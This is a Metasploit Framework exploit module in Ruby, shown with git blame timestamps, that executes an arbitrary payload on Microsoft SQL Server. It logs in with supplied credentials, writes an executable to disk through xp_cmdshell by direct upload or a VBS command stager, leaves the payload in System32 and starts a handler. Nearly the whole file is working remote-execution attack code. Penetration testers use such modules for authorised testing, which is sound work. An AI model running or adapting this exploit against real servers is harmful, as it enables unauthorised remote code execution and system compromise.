2009-10-14 21:11:28 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2009-10-14 21:11:28 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::MSSQL
|
2010-05-26 22:39:56 +00:00
|
|
|
include Msf::Exploit::CmdStagerVBS
|
|
|
|
#include Msf::Exploit::CmdStagerDebugAsm
|
|
|
|
#include Msf::Exploit::CmdStagerDebugWrite
|
|
|
|
#include Msf::Exploit::CmdStagerTFTP
|
2009-10-14 21:11:28 +00:00
|
|
|
|
2010-03-05 00:29:44 +00:00
|
|
|
def initialize(info = {})
|
2009-10-14 21:11:28 +00:00
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft SQL Server Payload Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will execute an arbitrary payload on a Microsoft SQL
|
|
|
|
Server, using the Windows debug.com method for writing an executable to disk
|
2010-03-05 00:29:44 +00:00
|
|
|
and the xp_cmdshell stored procedure. File size restrictions are avoided by
|
2009-10-14 21:11:28 +00:00
|
|
|
incorporating the debug bypass method presented at Defcon 17 by SecureState.
|
|
|
|
Note that this module will leave a metasploit payload in the Windows
|
|
|
|
System32 directory which must be manually deleted once the attack is completed.
|
|
|
|
},
|
2010-03-05 00:29:44 +00:00
|
|
|
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', 'jduck' ],
|
2009-10-14 21:11:28 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-01-29 16:37:06 +00:00
|
|
|
[ 'CVE', '2000-1209' ],
|
|
|
|
[ 'CVE', '2000-0402' ],
|
|
|
|
[ 'OSVDB', '557' ],
|
|
|
|
[ 'OSVDB', '4787' ],
|
|
|
|
[ 'BID', '1281' ],
|
2010-03-10 22:01:43 +00:00
|
|
|
[ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf' ]
|
2009-10-14 21:11:28 +00:00
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ],
|
|
|
|
],
|
2010-03-05 00:29:44 +00:00
|
|
|
'DefaultTarget' => 0
|
2009-10-14 21:11:28 +00:00
|
|
|
))
|
2010-03-05 00:29:44 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
|
|
|
|
OptBool.new('UseCmdStager', [ false, "Wait for user input before returning from exploit", true ]),
|
|
|
|
])
|
2009-10-14 21:11:28 +00:00
|
|
|
end
|
|
|
|
|
2010-05-26 22:39:56 +00:00
|
|
|
# This is method required for the CmdStager to work...
|
|
|
|
def execute_command(cmd, opts)
|
|
|
|
mssql_xpcmdshell(cmd, datastore['VERBOSE'])
|
|
|
|
end
|
2010-03-05 00:29:44 +00:00
|
|
|
|
2010-05-26 22:39:56 +00:00
|
|
|
def exploit
|
2010-03-05 00:29:44 +00:00
|
|
|
|
2010-05-26 22:39:56 +00:00
|
|
|
if (not mssql_login_datastore)
|
2009-10-14 21:11:28 +00:00
|
|
|
print_status("Invalid SQL Server credentials")
|
|
|
|
return
|
|
|
|
end
|
2010-03-05 00:29:44 +00:00
|
|
|
|
|
|
|
# Use the CmdStager or not?
|
|
|
|
if (not datastore['UseCmdStager'])
|
2010-05-26 22:39:56 +00:00
|
|
|
exe = generate_exe
|
|
|
|
mssql_upload_exec(exe, datastore['VERBOSE'])
|
2010-03-05 00:29:44 +00:00
|
|
|
else
|
2010-05-26 22:39:56 +00:00
|
|
|
execute_cmdstager({ :linemax => 1500, :nodelete => true })
|
|
|
|
#execute_cmdstager({ :linemax => 1500 })
|
2010-03-05 00:29:44 +00:00
|
|
|
end
|
2009-10-14 21:11:28 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2010-03-05 00:29:44 +00:00
|
|
|
|
2009-10-14 21:11:28 +00:00
|
|
|
end
|